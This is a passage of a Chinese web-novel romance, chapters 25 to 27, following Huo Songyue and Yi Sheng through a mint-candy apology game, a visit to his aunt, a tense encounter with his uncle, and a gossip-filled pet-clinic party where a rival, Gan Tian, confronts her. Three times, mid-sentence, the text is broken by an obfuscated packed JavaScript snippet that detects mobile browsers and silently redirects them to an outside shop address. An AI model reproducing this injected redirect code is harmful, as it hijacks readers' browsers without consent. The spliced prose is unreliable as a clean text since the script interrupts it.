少女好像开始对他产生好奇了,虽然只是细微的如同厚重蚕蛹内出现的一隙薄光。 “只是哄小孩的习惯。” “哄小孩?!” 火颂月惊讶地瞪大了眸子,“谁的?” 居然能让这么一尊凶神纡尊降贵去哄,那画面真的难以想象。 “姑姑的。” 易嵊揉了下少女的耳廓,有些失笑:“你惊讶得好像第一次知道我会哄人,我是没哄过你?” 脑海里飞速闪过一些画面,火颂月心虚地转移话题:“姑姑居然有小孩吗?上次好像没见过,那我下次备点小朋友的礼物再去拜访……” “不用了。”男人淡声打断火颂月的话,“现在没有了。” 话题就这么突兀地被终止。 一个可以被他亲自用小兔子苹果哄着的小朋友,就这么平静地被宣告了结局。 易嵊没有说话,一双乌沉沉的眸子也异常平静。 平静得好像是一遍遍用残酷的事实洗练出失去痛觉的漠然。 火颂月愣愣地看着易嵊,而后贴住易嵊的掌心心疼地蹭了蹭:“以后我会跟你一起多去陪陪姑姑的。” 她眉心轻蹙,又乖又认真,却让易嵊有些分神。 这是火颂月第一次许诺关于他们的“以后”,还是关于家人的。 她是易嵊见过的同龄人里唯一一个将家人的羁绊看得无比重要的存在。 像他们这样出身的人,早在成年前就被灌输了无数利益大于天的理念,大部分人的价值观早已背弃了家人间的羁绊。 火颂月是天真的,她过于看重这份羁绊,甚至可以为了这份羁绊付出自己的婚姻。 可她也是珍贵的,因为别人背弃的羁绊,不代表不想要,而是不敢去用利益赌。 火颂月却敢。 明明小小一只,看起来娇气又易碎,却坚定又勇敢。 好想,好想,好想把她藏起来,不给任何人看到这样的宝藏。 莫名感觉男人看着自己的眼神越来越深,像是黑狼狩猎前的眼神,危险又沉默。 火颂月无措地颤了颤睫毛,小声唤他:“易嵊?” 男人回神,眉眼间的危险侵略感无声敛起:“嗯?” 火颂月无声松了口气:“我还有一点活收尾,你先回屋?” 易嵊颔首,临走前用手势朝莲雾示意了一下,小家伙机灵地汪了一声,乐呵呵地跟在火颂月脚边。 晚饭是陈姨掌厨,一半做了火颂月喜欢的清淡口味,一半是易嵊喜欢的重口肉类。 可火颂月却发现易嵊并没有吃太多辣的食物,好像一夜之间改了口味。 饭后,少女略微休息了一会儿又钻进了自己的“试验田”。 看到拿着园艺剪忙忙碌碌的少女,易嵊无比庆幸自己答应把家里的地给这个小工作狂用。 不然恐怕要连着一段时间“独守空床”了。 晚上睡前,少女神神秘秘地抱着两个玻璃罐罐爬到床上。 她往易嵊手心塞了把压片薄荷糖,郑重其事道:“这个是我们之间的信物,蓝色罐罐里的糖代表我的歉意,红色代表你的,如果蓝色瓶子里的薄荷糖攒够十颗,我就答应你一个愿望作为赔礼,如果红色攒够十颗,你也一样。” “如果你觉得我让你不开心了,你可以在蓝色存糖罐罐里放一颗薄荷糖,如果我自己觉得有点抱歉,我也会为你在蓝色的里边放一颗。” 认认真真说完了规则,少女一本正经地看向易嵊:“我想了好久才想到的,你觉得可以吗?” 易嵊轻挑断眉,饶有兴趣地看着掌心里躺着的两片薄荷糖:“变相的记仇小本本?” “哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235403|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有?!”火颂月无辜地瞪大眸子,“易嵊,你也太不懂情.趣了!如果你不喜欢那我不弄了……” 男人压住她的手,拧开粉色的小罐罐,利落地往里边放了一颗薄荷糖:“抱歉。” 火颂月:…… 她鼓了鼓腮帮子,轻轻扬起小下巴:“勉为其难接受了。” 易嵊又问:“什么愿望都可以?” 火颂月点头:“只要我办得到。” 说完,她打开易嵊的罐罐往里边塞了两颗。 男人见状轻笑:“买一送二?这么想给我赔礼?” 火颂月耳朵一红:“这是带上昨天的。” “可以翻旧账吗?” 少女有些慌张地捂住罐口:“不可以!!夫妻顶多只有隔夜气!” 易嵊意味深长地哦了声:“都听你的,易太太。” 拿薄荷糖当情.趣,该夸她可爱呢,还是该夸她会拿捏人呢? 得到了认可,火颂月哼着小曲儿把两个糖罐罐放到了床头,然后顺手给床头的折纸伞灯挪了个合适的位置。 橙黄色的床头灯映照过玻璃罐,给这个冷黑色系的卧室增添一抹暖色的梦幻光影。 翌日,火颂月订购的品种景观枫悉数到货。 她一一浏览后,挑了一盆品相最好的紫清姬单独留着,打算给易维芸拿去。 仔仔细细修剪好树形,少女看时间正合适,便让管家送自己到易维芸的居所。 好巧不巧,火颂月到竹影苑的时候易维醇也在。 只是和上次见面的光鲜亮丽不同,素来讲究外形的他竟也留起了青色的胡茬,衬衫配色也是他极少选择的沉闷灰,整个人看上去憔悴了不少。 他拄着拐杖站在易维芸身后,眉眼带嘲地望向火颂月。 易维芸没什么心思搭理他,一见到火颂月便热络地挽住她:“月月来得正是时候,我新淘了几盆五针松和真柏,你帮我参谋参谋!” 回身看到易维醇还跟着,易维芸使了个眼色给他:“不想回去就给我安分点。” 听了这话,易维醇舔了舔有些干燥的嘴皮,冷笑着睨了眼火颂月:“阿姐,我像是会给自己四面树敌的蠢货吗?” 易维芸轻哼:“你最好不是。” 25. 第 25 章 火颂月不知道他们发生了什么,但认识易维醇这么久以来,他从没有什么时候像今天这般狼狈,像极了一只丧家犬。 注意到火颂月打量的眼神,易维醇似有恼意地瞪她一眼,漫不经心地跟在她们二人身后。 一行人到了后花园,易维芸跟着火颂月一同摆弄着那几盆花花草草,易维醇坐在不远处的栏杆下抽着烟,时不时用阴冷的目光打量着火颂月。 恰逢易维芸走到外侧去接电话,易维醇敲着拐杖就到了落单的火颂月身后。 他们易家人都生得高大,冷不丁拢过来时会叫人下意识后退。 易维醇擦着拐杖冷笑:“我当你彻底不怕我了呢宝贝儿。” 火颂月捏紧了手中的园艺剪刀,礼貌弯唇:“平日里的小叔肯定是不怕的,您今天这幅模样,倒是叫人怪担心您的。” “你这张小嘴这么会哄人,到底是随了谁?”易维醇半倚在墙边,午后阳光落在他脸上,倒是衬得他像一位颓废绅士,“还是说你们火家养出来的都会哄人?哄得易嵊团团转就算了,还要哄得易家都团团转?” 哄得易家都团团转? 火颂月不懂易维醇在阴阳怪气些什么,手上的剪刀利落地将五针松乱生的枝丫剪掉:“小叔又开玩笑了,你们易家出来的人最是懂得什么叫修剪旁枝,能被哄到说明是心甘情愿又或者利用价值高,难道不是吗?” 闻言,易维醇的脸色骤然变得阴沉起来。 他紧紧攥着象牙拐杖逼得火颂月靠在墙边,压低面容,眉心皱的能夹死一只苍蝇:“你说,我把你掳走,他俩到底谁会先发疯?” 火颂月感觉易维醇真的有些精神不正常了,一直自言自语地说些意味不明的话。 她捏着剪刀向上挡在二人胸前,易维醇居然毫不在意地撞上剪刀尖。 火颂月震惊地撤手,剪刀落地:“易维醇你疯了?” 男人没说话,冷冷打量了好一会儿,像是想到了什么似的,忽然又变回了那副漫不经心的慵懒模样。 他淡然地抽出口袋里的手帕,捡起剪刀擦了擦递还给火颂月:“宝贝儿,心太软的话吃亏的人是要吃亏的。” 火颂月紧张地看了眼他的胸前,确认没什么异常后才低低骂他:“管好你自己。” “嗯,你说得对,我只要管好我自己,让我的价值比他们都高,最后的赢家是谁还说不定呢。” 易维醇意味不明地笑了下:“宝贝儿,给你提个醒,老爷子铁了心要让易嵊联姻,你这么聪明,别因为一个不值得的男人给家里找不痛快。” 听到易维醇又在说易嵊坏话,火颂月没由来的有些生气。 她蹙起细眉,满脸认真地反驳他:“易叔叔,您看起来挺潮流的,可是思想认知怎么和你们家老头子一样死板?” 易维醇:? 火颂月不想再看到那张讨厌的脸,侧过身一边修着手中的盆景枫树,一边继续道:“值不值得,首先要看面对的对象配不配,如果我有个亲戚天天在外边说我坏话,或者试图控制我的人生,那他自然就是不配不值得。易嵊对你们如何,是他自己的事,他对我很好,我很满意,不需要你来劝我来替我不满意。” 这是易维醇认识火颂月以来她第一次一口气同他说了这么长的话,居然还是替易嵊抱不平。 他在名利圈里的遇到的女人众多,面对易家的头衔,那群女人从来都是见人说人话,甘做墙头草的势利眼。 易维醇很好奇,易嵊到底给火颂月灌了什么迷魂汤,能让这么聪明一个女孩在得知他是在利用她后还心甘情愿为他说好话。 “还以为上次听到了那些话,你会有更聪明的决定。我可真是高看你了宝贝儿。” “用您刚刚的话还给您,易叔叔,我像是会给自己四面树敌的蠢货吗?” 听到不远处传来高跟鞋和青石板撞击的声音,易维醇挑眉:“啧,越看越喜欢,要不你跟了我,我把易家和火家的恩怨秘密都跟你说了怎么样?” 火颂月头也不回地观察着眼前的盆景:“看您这个状态,先顾好自己吧。” 看到易维芸回来,易维醇掸掸衬衫,摆着手往外走:“阿姐,我先回了,明天再来跟您聊这个‘亲弟弟’。” 听到他咬牙切齿地吐出那三个字,易维芸皱眉瞪他一眼后紧张地看向火颂月:“哎呀,还得是专业的,这剪得也太好看了!” 火颂月收回剪刀:“您要是喜欢,改天我再淘几盆带过来教您一起弄。” 易维芸连连点头:“好好,累了吧,我们回屋去休息下。上次因为那尊老煞神在没招待好你,今天啊你可得给我个弥补的机会,想吃什么我亲自给你做!” 二人一起回到茶室,易维芸先叫人给火颂月上了些茶点水果。 看着盘中切好的兔子苹果,火颂月下意识看了眼易维芸。 对方笑了笑,给她倒了杯红茶:“怎么了?” 少女笑着摇摇头:“没什么,就是易嵊也喜欢把苹果切成这样。” 易维芸面色坦然地揶揄道:“哦呦,我都七八年没吃到这小子切的东西了,没想到他还记得拿出来哄老婆。” “好啦好啦不逗你!”易维芸啜了口红茶,“想想晚上吃什么,易嵊说等会开完会也过来一起吃。” “那我们就不客气啦!辛苦姑姑啦!” 得知易嵊要来,火颂月倒是没觉得意外,认真思索起菜单来:“我就是南方口味,易嵊也要来的话,做点辣的?他好像喜欢吃辣的。” “易嵊吃辣……”易维芸意味深长地挑了下眉,“那就多做点辣的,让他好好回忆下我的手艺!” “月月你先自己逛着,我去张罗一下。” 易维芸风风火火地去了厨房,火颂月坐在茶室喝了会儿茶,便仔细欣赏这套老宅子的装潢摆设。 说来也怪,易家是港城数一数二的顶豪,可子女好像都在内陆活动的更多一些。 把这样大的苏式豪宅全部按照自己的喜好布置,可不是一两年就能完成的,甚至屋内的古玩摆件也都是拍卖会上少见的珍惜品,可是在小姑这里却像是赝品一样随意摆满了雕花博古架。 转到从茶室到主厅的过道上,火颂月倏地发现博古架上孤零零放着一张老照片。 火颂月驻足踮脚去看,发现照片里挨着易维芸站着的白发少年和易嵊长得一模一样。 火颂月看了下左下角的拍摄日期和文字备注,确定那就是易嵊。 顶着一头白发的少年易嵊手中拿着一个奖杯,眉眼桀骜地看向镜头。 怪不得时隔这么久再见易嵊,火颂月总觉得易嵊看起来眼熟又好像和记忆里的那个人对不上号,看到照片她才恍然想起高中时她见过的易嵊都是一头叛逆的白发。 白毛的少年易嵊虽然眉眼间也是满满的执拗和叛逆,可气质更为温和,没有如今这般气势凌人不怒自威,更没有眉尾那道让他整个人看上去更为“凶”的疤。 那时候的他顶多像一只炸毛小狗,现在却是一匹凛凛的大黑狼。 火颂月觉得有趣,掏出手机正想偷拍下来的时候,一道高大的身影压了过来,先一步将照片倒扣着。 火颂月疑惑回头,正对上易嵊意味深长的长眸:“易太太,偷拍不是好习惯。” “炸毛小狗有点可爱,没忍住!” 炸毛小狗? 易嵊蹙着眉,抬手瞥了眼照片里年少的自己。 炸毛是有些的,那时候留着利落的白色板寸,每根头发竖得像他身上的刺。 但是和可爱毫不搭边。 他随手又扣上,揽着火颂月的肩身往外走,火颂月轻轻撒娇:“哎哎,我还没看完呢?!回忆高中!” “看着我不能回忆?” “现在的你和高中的你好不一样!回忆不起来!” “这是你在圣托里尼没认出我的原因?还是说,你从没记住过我?” 易嵊一针见血,火颂月立马闭麦,又乖又怂地挽住他的胳膊转移话题:“姑姑在给我们做好吃的!你们家的人都会做菜吗?!” 明明一个个都含着金汤匙出生,却意外的都会下厨。 “准确来说,只有我和姑姑会。” “马上就会有第三个人会做啦!”少女傲娇地扬起眉梢,“等我把工作交接好,我也想学着做给你吃!” 这还是第一次有女孩子说想要为自己学着下厨。 易嵊不由反握住少女的小手,轻轻缠入她的指缝:“感兴趣可以学一下玩玩,厨房油烟重,日常交给管家就行。” 二人绕着园子转了一圈,火颂月向易嵊展示了自己下午的成果。 三盆昂贵葱郁的盆栽被修剪成苍劲的姿态,光影树影交叠摇曳,被窗景框成一副意境十足的古画,完美展现了创作者的顶级审美。 “怎么有空来给姑姑弄这些,自己的做好了?” 火颂月点点头:“等明天回去把灯架好,没什么大问题就可以进行下一部分的推进了。” 闻言,易嵊垂着眸子,深深看她:“又要外宿?” 火颂月:…… 少女轻轻摇了摇男人的手臂:“没办法嘛,工作室一时半会搬不走……” 男人眉心微折并未接话,有几分愧疚和心虚无声漫上火颂月的心头。 她犹豫了几秒,乖乖地同他商量:“那你晚上来接我?只要你来接我,我就乖乖回家~” “那我九点钟去接你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327805|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>男人声色平淡,但周身那股子凌冽的低气压因为火颂月的退让瞬间消散了。 易嵊好像意外的好哄呢! 对于这个小发现,少女悄悄扬起唇角。 晚饭很快上好,三人围坐在餐厅的梨花木大圆桌前,易维芸眼疾手快地将那三盘红艳艳的川菜转到易嵊面前。 她笑得有几分揶揄:“爱吃辣的易总,都是你爱吃的,多吃点!” 火颂月听出小姑姑话里有话,有些疑惑地看了他们二人一眼。 易嵊倒是没什么反应,神色淡淡地用公筷给火颂月夹了份水晶虾仁:“尝尝她的拿手菜。” 少女乖乖地咬着碗里的菜,秉持着在长辈桌上食不言的规矩,一边吃一边观察着他们二人。 一顿饭吃得非常舒服,易维芸手艺极好,火颂月试着尝了一下易嵊面前的毛血旺,居然也意外的只有香很少有辣。 这遭拜访算是宾主皆宜,临行前易维芸拿出来五个红木雕花的首饰盒子,一一打开递给火颂月。 里边除了极为少见的珍贵玉料还有罕见净度的鸽子蛋大粉钻及用料奢侈的祖母绿孔雀簪子。 易维芸拍了拍少女的胳膊,满眼认可:“我的宝贝儿侄媳妇,这些才是正式的见面礼,我攒了好久的拍品才凑齐!你别嫌弃!” 火颂月受宠若惊地睨了眼易嵊,然后乖乖收下:“谢谢姑姑。” “我该谢谢你收了这个大魔王!”易维芸掩唇笑着,“受了委屈别憋着,来找我给你做主!也多来我这里坐坐,陪陪我这个孤寡老人!” “那您到时候可不许嫌我烦~” “行!时间差不多了,快回吧!” 连号劳斯莱斯缓缓划入夜色,火颂月把首饰盒子一个个收好:“当你姑姑的侄媳妇福利可真好。” “当我的媳妇,福利只会更好。” 少女晃了晃手中的首饰盒:“比如说?” “比如,我和RC都是你的。” 常年稳居富豪榜前列的男人把他和市值百亿的公司轻飘飘打包丢出来,惊得火颂月以为自己出现了幻听。 不过很快她便坦然,毕竟嘴巴说说哄个开心谁都会。 她扬起下巴像一只傲娇小猫,配合得紧:“那我以后岂不是可以仰着下巴走路咯!” 易嵊抬手顺势挑住少女的下巴:“不怕脖子酸就随你。” 火颂月不好意思地吐了下舌尖,重新坐正:“其实下午来的时候还遇到易维醇了。” “他做什么了?” “倒是没有做什么,感觉他精神状况好像不是很稳定,说了点奇怪的话,大概意思还是让我知难而退。” 火颂月略去易维醇发疯的细节,思索片刻补充道:“好像在因为一个‘亲弟弟’在求小姑,你知道这事吗?” 听到“亲弟弟”三字,易嵊长睫微垂遮住深眸:“和老爷子有关,大概是威胁到了他的财产分割,我也还在查。” 火颂月瞪大眸子凑到易嵊面前:“我居然就这么听到了豪门秘辛!你怎么一点都不惊讶?!” 易嵊没什么波澜:“从我出生这种事就在不断上演。” 他越是平静说出本家的事,火颂月就越是心疼。 她从小拥有过太多太圆满来自家庭的爱,所以哪怕只是幻想一下父母或者家人有任何一人背叛了家庭,她都觉得难过不已,好像一方遮风挡雨的小天地要塌了。 而易嵊居然从小都在经历这种破碎,自我打碎再自我粘合,最后成长到如今的漠然…… 火颂月轻轻抱住易嵊,把头靠在他的肩上:“抱歉……” 易嵊抬手揽住她:“不用抱歉,他们已经是外人了。” 火颂月没接话,只是更紧地贴近男人的怀抱,好像只有这样,才能抚慰她在想起火家已然摇摇欲坠的家庭时心底浮动的不安感。 “寰海主馆最近在进行注水封缸,等结束了你跟我一起回家陪妈妈吃个饭吧。” 闻言,易嵊断眉轻挑:“不怕露馅了?” 火颂月耳廓有些发烫:“我们已经足够熟了……” 抱了亲了睡一张床了,除了那种事还没做……火颂月觉得现在两个人的状态完全符合热恋期的定义,除开她对他的了解还不是很全面这件事…… 但是没关系,她已经喜欢上探索易嵊这件事了。 她会认真地去收集关于易嵊的一切,然后小心翼翼地存储到自己的藏宝阁内。 “这是饼老师的初期总结吗?” 易嵊饶有兴趣地盯着火颂月:“可是我觉得还差了点。” “差了什么?” “易太太,你叫我什么?” “易嵊?” “听起来不怎么熟。” 26. 第 26 章 火颂月立马明白了易嵊的言下之意。 她面颊浮上红云,故意不顺着他的意思走:“姑姑和简修仁都叫你阿嵊,我也这么叫好不好?” 易嵊用指节蹭了下她发烫的脸蛋:“随你。” “说到这里,”火颂月疑惑地看向易嵊,“你为什么在姑姑面前叫我的英文名Luna?而不是别的?” 易嵊深深望她一眼,而后错开视线望着窗外的盈盈月色,淡声道:“……没什么,家里的习惯。” 想到易嵊也用英文名称呼易维芸,火颂月勉强接受了这个解释:“哦……还以为是有别的什么原因。” 听到她语气里有几分失望,易嵊侧身,微微眯眸:“你希望是什么原因?” 男人的目光直白犀利,仿佛可以直抵人心。 火颂月被他盯得心下发慌,躲开他的视线:“没什么……” 车厢内陷入一片安静,少女蹙着眉心,从车窗倒影里小心翼翼地窥着男人清俊的面容。 似乎在懊恼刚刚脱口而出的傻问题,又似乎在担心自己聒噪的心跳声被发现。 沉沉夜色吞没一切未言明的情绪,然后在曦光到来时,唤回出走的理智。 后花园的造景也接近尾声,火颂月对这版设计的落地成品整体还算满意,只做了一部分品种色系的调整。 为了让这块练手的景观和整个岛苑的建筑融合,火颂月又顺手多画了一部分,直接将后花园步道尽头的空地全部重新设计。 趁施工方帮忙移栽植被的时候,她抽空带着莲雾去倪桉那边洗药浴。 易嵊的专属座缓缓驾驶入金宠医院的前坪,和往常的安静不同,今天草坪上钢琴曲轻响,周遭摆满了装饰物。 火颂月牵着莲雾下车,倪桉立马迎了上来。 她啧啧笑着挽上火颂月,揶揄道:“宝宝,你也有带孩子的一天?易嵊没陪你一起” 火颂月睖她一眼:“今天怎么这么多人?” 倪桉摸了摸莲雾的脑袋算是打了招呼:“今天是VIP客户回馈日,实际上嘛,你懂的,搞个小聚会让姐妹们交换点八卦啦~” 闻言,火颂月点了点头。 她对八卦不感兴趣,便牵着莲雾往大厅走:“管家伯伯说莲雾又把下腹部挠花了点,问需不需要上伊丽莎白圈。” 倪桉大致检查了一下:“是结痂的部分掉了,新肉有些冒红,问题不大,直接泡药浴吧。” 二人带着莲雾去了一楼宠物药浴室。 药浴室的落地窗临着草坪,本来想躲开八卦的人,可是窗外人的叽叽喳喳一字不漏地传了过来。 “哎!你们看到了吗?易嵊的车送火颂月来的?他俩还没分?” “甘恬那边不是说易老爷子都亲自去她家拜访了吗?火颂月这边看上去一点没受影响啊?” “听我哥说寰海本来都要半死不活了,最近大盘走向又起来了哎,不知道是不是易嵊的手笔……” “拜托,那可是火颂月,就算火家再没落,瘦死的骆驼比马大。甘恬她家后起来的,脚跟子浅,拿什么比?” “要我说,易嵊也就是玩玩,怜爱一下火颂月那张我见犹怜的小脸,最后谁都不会娶。你看寰海最近三十周年广告的宣发,RC旗下传媒的一个没沾,这不就是捧场做戏嘛!” 浴盆里的莲雾撒着欢可劲扑腾,巨大的水花声都没盖住八卦的声音。 倪桉尴尬地看了眼火颂月,正纠结怎么让窗外的人走开时,火颂月直接开了落地窗出去。 “还有吗?” “你还想听什么?” 众人闻言回头,只见雕花围栏后正靠着身穿浅粉色打褶吊带裙的少女。 她漂亮的长卷发随意披着,耳边坠着一对熠熠生辉的大粉钻耳坠,整个人温温和和,却坦荡闪耀到众人一时间都红了脸。 为首的人尴尬转移话题:“月月你怎么在这儿呀。” 火颂月指了指屋内:“给家里的小狗洗药浴。” 话落,她像是毫不介意一般,落落大方道:“关于我和易嵊的事,你们有想知道的可以直接问我,或者问倪桉,猜来猜去挺浪费精力的。但是关于甘恬妹妹的事,我是一点都了解,没办法帮你们。” “哈哈我们就是今天刚刚看到甘恬在哪儿说自己的订婚日期,还说到时候会给我们发邀请函,就随便聊了聊……我们不爱八卦的。” 少女多情眼里弯出几分惊讶和温和的笑:“她要订婚了吗?恭喜呀!” “你都不介意她……” “联姻一般都是长辈安排的,大家都懂,但是现代社会了,总要两个当事人都有意愿才合法不是吗?” 众人思索片刻,倒是认真点了点头:“说的也是,更何况那可是易嵊,听说他和本家不和,不会听安排的,这是真的吗火妹?” 火颂月笑了笑:“他家的事我不太关心哎,毕竟你们都知道,我俩是捧场做戏嘛!不过别的我倒是知道点,比如易嵊比较无趣确实不爱玩。” 闻言,倪桉在屋内噗嗤一声低低笑出来:“哎哎,莲雾宝宝乖点别闹啦!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340918|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一众人你看看我,我看看你,都默契地低头喝着红酒。 就在众人纠结怎么托词离开的时候,甘恬踩着一双恨天高凑了过来。 “啧,我就知道找不到你的时候往人堆里找就对了。” 甘恬挑起细眉仰头看着火颂月,“月月姐,十月一号我订婚,你想来吗?我可以给你一张邀请函。” 火颂月当即点头,风轻云淡地应下:“好呀。” 火颂月若是生气了,又或者尴尬地退场,都能让甘恬觉得自己赢了她一回。 她从出生开始就一直被妈妈逼着以火颂月为榜样,火颂月是别人家让人羡慕的孩子,她是妈妈嘴里的不争气。 火颂月太耀眼,她仰头追了二十年,又羡慕又嫉妒,这次好不容易有了赢过她的机会…… 可偏偏火颂月毫不在意,似乎参加订婚宴的人与她毫不相干。 甘恬当场眼睛就有点红了,她拧着细眉,声音有点尖,像是在着急证明什么:“易爷爷非常认可我,答应我会在十月一日办订婚宴,他说易家的孙媳妇非我不可!” 众人一看这硝烟味起来了,登时都眼含戏谑地钉在原地等瓜吃。 火颂月安静听着,见小姑娘的脸色像较劲儿一般也跟着红了,有些失笑:“好的,那,恭喜你?” 甘恬上前一步:“火颂月!易爷爷都答应要帮我得到易嵊了,你都不生气吗?易嵊他作为你的男朋友,他都没有拒绝易家的联姻,你不觉得他过分吗?” 火颂月继续点头:“是挺过分的,都让我们恬妹发火了,还不过分吗?” 甘恬瞪着火颂月,将下巴高高扬起来,像一只傲慢的小孔雀:“你别转移话题!易爷爷都跟我说了,他这个人只谈利益,你跟着他又不会幸福,也不能为寰海带来什么。他什么都不肯跟你,你干嘛还跟着他?!” “这个问题的答案我没法直白地回复你,但是……” “哎哎哎,快看!快看那边RC大厦的外屏投放!” “卧槽?!” “嘶……上一次RC魔方大厦的外屏广告是什么事?” “好像从没有过,这是第一次!” “我去,直接投了寰海的周年庆宣传,易嵊他真谈了……?” RC魔方大厦的四块外屏全是裸眼3D屏,从成立至今,占据滨江最好的宣传位,从没接过投放宣发。 这魔方大厦初次投放,居然留给了“捧场做戏”的寰海小公主。 现场一片唏嘘,各色目光不动声色地落在火颂月和甘恬身上。 27. 第 27 章 对于这个意料之外的广告投放,火颂月是有些惊喜的。 其实她对商业投放并不了解,但是能让在场的人都如此唏嘘,她想易嵊应该用了极高的规格来对待这件事。 她只是随口同易嵊提了一嘴寰海最近的事,没想到他居然放在了心上。 并且还做得这么……隆重。 少女托着腮,眉目温和地看着大屏上逼真艳丽到虎鲸好似跃出屏幕外的场景广告,突然生出一种被联姻对象认真放在心上对待的悸动。 这种感觉就像山泉水在春季悄然突破冰层,唤醒一路沉睡的繁花。 艳羡的惊讶的嫉妒的,各种目光和议论声在周遭此起彼伏,火颂月全都不在意。 她只知道,这不只是事关她本身,而是关于她的一切,易嵊都给了足够的尊重和重视,关切和体贴。 即便这只是易嵊误打误撞的随手安排,可她不得不承认,她被拿捏了,她根本无法拒绝一个将她最在意的家人也一并照顾到的男人。 他或许,是她用余生开出来的,足够珍贵的一个盲盒。 此刻的火颂月根本无心去关注甘恬是什么情绪。 她只是弯着多情眼专注地盯着那片滚动大屏,可这番画面落在甘恬眼里就成了炫耀。 甘恬铁青着小脸,气得眼睛泛红,像只倔强的小狗,执拗地瞪着火颂月:“别以为这样就能让我认输!” 火颂月茫然回神,有些失笑地看着甘恬:“恬妹,我并没有跟你比什么。” “你有!” 甘恬恨恨地咬着唇:“易爷爷说易嵊是不撞南墙不回头,你们俩继续下去都会后悔的!别怪我没提醒你!” 噼里啪啦说了一通,甘恬挺直肩背,顶着众人的凝视,形容傲慢地离开了聚会。 主角之一退场,话题的风向立马一边倒地开嘲。 还有不少人趁机凑过来和火颂月套近乎。 “啧,不是我阴阳怪气,到底谁给的甘恬底气啊,这妹妹是不是真的傻傻的?” “不傻能被三个男人骗吗?还都是些凤凰男。” “哎呀,火火,你这裙子好漂亮好独特,是哪位设计师的?” “看什么裙子啊?你看这耳坠!前阵子拍卖会上被匿名买家拍了八位数!” “哎呦,这匿名买家不会就是易嵊吧?” “火火,姐妹们都很好奇,易嵊他看上去那么凶,床上怎么样啊?” “他是不是真的有点那种倾向……” 火颂月:…… 话题朝着不受控制的方向狂奔而去,火颂月有些无奈地看向倪桉。 对方噗嗤一声笑出来,将莲雾送进烘干机后出来帮火颂月解围:“哎哎哎,姐妹们,有些事呢,别问出来更有发挥空间!” 倪桉捏了捏火颂月柔软的面颊,笑眯眯地看向众人:“不过呢,你们看火火这容光焕发的模样,她男人想必也……余下的自己想象吧!我先带她去给小狗上药啦!回聊~” 话落,倪桉唰地一下关上窗帘落地窗,满眼八卦地盯着火颂月:“宝宝,你这进展不赖嘛!某人看起来被你拿捏的死死?!” “哪有?!”火颂月悄然红了耳朵,“我感觉是我被拿捏了。” 倪桉好奇道:“说说?” 火颂月:“他现在做的每一件事,都在超过我对我们俩关系的正常界定,让我没办法冷静地把自己剥离出去看待……我想我应该是喜欢他。” 倪桉瞪大了眼睛:?!! 倪桉:“不是,火火,你清醒一点,有些事对他来说动动手指就可以,你可别当真把自己搭进去!” 火颂月点点头:“就是因为他可以轻易做到很多事,所以也可以不把很多事放在心上。可是我觉得他在乎我,我不经意说过的话,他都有在意。妮妮,你知道吗,我在我爸妈身上看到的那种我向往的爱情,我本来以为我这辈子都不会遇到了,但是我现在真的很想再试试,和易嵊一起。” 提到易嵊的时候,少女的多情眼里不自觉地漾出几分让人安定的幸福感。 这种无声的正向情绪让倪桉觉得火颂月此刻的幸福是极其真实而又底气十足的。 她揉了揉少女的发顶,不自觉夹起声音:“宝宝……你这样真的让我很想知道,你哥和易嵊,到底谁更好?” 提到火弈阳,火颂月骤然陷入沉默。 好一会儿,她才慢吞吞道:“妮妮,其实我有点生我哥的气,他的不告而别对我和妈妈来说是背叛了我们的家,背弃了他对爸爸的承诺,他明明知道我最讨厌这样的人,他还这样做了……可我心底还是希望他是有隐情的,我没法抹去他过去的好,但也没法平和地接受现在的事实。” “所以我一直不停地在找他要一个答案,听到哪里有他的消息就会飞过去,包括飞到圣托里尼,那天遇到易嵊的第一眼我以为是火弈阳……现在我突然觉得找一个会离开的人毫无意义,我只想陪妈妈守好这个有些零碎的家,好在,易嵊大抵是愿意陪我的。” 倪桉和自己爸妈聚少离多,在遇到火颂月之前,家庭对她来说只是一个冷冰冰的名词。 可自打和火颂月成为朋友后,她旁观了什么才算是一个让人向往的家庭。 陪伴尊重互相支持,在这个家,一切矛盾都可以温和地演变成更了解和更爱对方的一个途径,而不是被矛盾越逼越远。 以至于她在高中毕业前的最大愿望就是嫁进火家,成为他们家庭的一员。 经历过绝对完美的,成为向往完美的理想主义者。 所以倪桉算是为数不多可以完全理解“家庭”对于火颂月的意义的人,也是旁观了这个家庭逐渐变得支离时会一起难过的人。 倪桉抱了抱火颂月:“不管宝宝你做什么决定!我永远都是站在你这边的!” 正因为旁观了太多,所以很多被少女主动埋葬的关于爱情和家庭的理想主义,都成了两个人心照不宣的秘密。 不过,倪桉从来担心火颂月会在感情牌上打输。 火颂月本身足够好,她在那个理想的家学到最多的就是怎么爱人。 让选择的对象爱上她,对她来说根本不是什么难事。 